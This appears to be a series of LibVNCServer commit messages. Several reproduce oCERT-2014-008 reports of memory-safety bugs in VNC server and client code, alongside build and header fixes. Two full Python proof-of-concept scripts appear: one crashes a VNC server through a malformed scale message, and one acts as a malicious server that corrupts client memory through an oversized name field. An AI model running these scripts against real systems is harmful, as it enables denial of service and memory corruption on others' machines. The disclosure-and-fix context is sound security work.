Reported by Ken Johnson <Ken.Johnson1@telus.com>.
The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)
if (msg.ssc.scale == 0) {
rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
rfbCloseClient(cl);
return;
}
rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
return;
at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.
else
{
rfbResizeFrameBufferMsg rmsg;
rmsg.type = rfbResizeFrameBuffer;
rmsg.pad1=0;
rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width);
rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
rfbClientConnectionGone(cl); << Call which may can lead to a free.
return FALSE;
}
}
return TRUE;
Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.
POC script to trigger the vulnerability:
---snip---
import socket,binascii,struct,sys
from time import sleep
class RFB:
INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
AUTH_NO_PASS = "\x01"
AUTH_PASS = "\x02"
SHARE_DESKTOP = "\x01"
def AUTH_PROCESS(self,data,flag):
if flag == 0:
# Get security types
secTypeCount = data[0]
secType = {}
for i in range(int(len(secTypeCount))):
secType[i] = data[1]
return secType
elif flag == 1:
# Get auth result
# 0 means auth success
# 1 means failure
return data[3]
def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
try:
from Crypto.Cipher import DES
except:
print "Error importing crypto. Please fix or do not require authentication"
sys.exit(1)
if len(PASSWORD) != 8:
PASSWORD = PASSWORD.ljust(8, '\0')
PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
crypto = DES.new(PASSWORD)
return crypto.encrypt(data)
def reverse_bits(self,x):
a=0
for i in range(8):
a += ((x>>i)&1)<<(7-i)
return a
def main(argv):
print "Proof of Concept"
print "Copyright TELUS Security Labs"
print "All Rights Reserved.\n"
try:
HOST = sys.argv[1]
PORT = int(sys.argv[2])
except:
print "Usage: python setscale_segv_poc.py <host> <port> [password]"
sys.exit(1)
try:
PASSWORD = sys.argv[3]
except:
print "No password supplied"
PASSWORD = ""
vnc = RFB()
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.connect((HOST,PORT))
# Get server version
data = remote.recv(1024)
# Send 3.8 version
remote.send(vnc.INIT_3008)
# Get supported security types
data = remote.recv(1024)
# Process Security Message
secType = vnc.AUTH_PROCESS(data,0)
if secType[0] == "\x02":
# Send accept for password auth
remote.send(vnc.AUTH_PASS)
# Get challenge
data = remote.recv(1024)
# Send challenge response
remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))
elif secType[0] == "\x01":
# Send accept for None pass
remote.send(vnc.AUTH_NO_PASS)
else:
print 'The server sent us something weird during auth.'
sys.exit(1)
# Get result
data = remote.recv(1024)
# Process result
result = vnc.AUTH_PROCESS(data,1)
if result == "\x01":
# Authentication failure.
data = remote.recv(1024)
print 'Authentication failure. Server Reason: ' + str(data)
sys.exit(1)
elif result == "\x00":
print "Authentication success."
else:
print 'Some other authentication issue occured.'
sys.exit(1)
# Send ClientInit
remote.send(vnc.SHARE_DESKTOP)
# Send malicious message
print "Sending malicious data..."
remote.send("\x08\x08\x00\x00")
remote.close()
if __name__ == "__main__":
main(sys.argv)
---snap---
This fixes the following oCERT report (oCERT-2014-008 pt.2):
There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.
Field Size
---------------------------------
name-length [4]
name-string [name-length]
Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.
I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.
Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.
import socket,struct,sys
HOST = ""
PORT = 5900
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)
conn,addr = c.accept()
print "Connected by ", addr
protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)
data = conn.recv(1024) # Receive the version from them.
secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)
data = conn.recv(1024) # Receive the secType choice from them.
secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)
data = conn.recv(1024) # Receive the ClientInit (Shared-flag).
frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM = 0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"
conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )
c.close()
Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):
LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length
It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.
case rfbServerCutText:
{
char *buffer;
if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
sz_rfbServerCutTextMsg - 1))
return FALSE;
msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length
buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0
if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
return FALSE;
buffer[msg.sct.length] = 0; << Attempt to write to buffer
if (client->GotXCutText)
client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer
free(buffer);
break;
}
If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
This is recommended practice as per
https://www.gnu.org/software/automake/manual/html_node/Local-Macros.html.
It fixes the problem that arose when one of the maintainers could not build LibVNCServer
after https://github.com/LibVNC/libvncserver/pull/38 was merged.
Symptoms included
checking whether make sets $(MAKE)... yes
./configure: line 2481: syntax error near unexpected token `rfb/rfbconfig.h'
./configure: line 2481: `AX_PREFIX_CONFIG_H(rfb/rfbconfig.h)'
until autoconf-archive was installed (which was a previously unmentioned
requirement for Pull Request #38) – this is not always an option, in particular
when the project needs to be built using a system-wide autoconf installation
that cannot be modified easily by the developer.
There was no reason to get rid of the convenient script. Most developers
who are not in love with autoconf fail to remember that autoreconf
invocation, therefore it is better to have something working in place.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
There was a possible buffer overflow in rfbFileTransferOffer message when
processing the FileTime.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
`windows.h` is referring to `winsock.h` (unless the `WIN32_LEAN_AND_MEAN` is defined).
The structs used in this header are defined in `winsock2.h` or in `winsock.h`, but we are using Winsock2 of course!
So we have to include winsock2.h and refrain from including windows.h here
Christian Beier
dscho
Maks Naumov
Nicolas Ruff
newsoft
Brian Bidulock
Daniel Cohen Gindi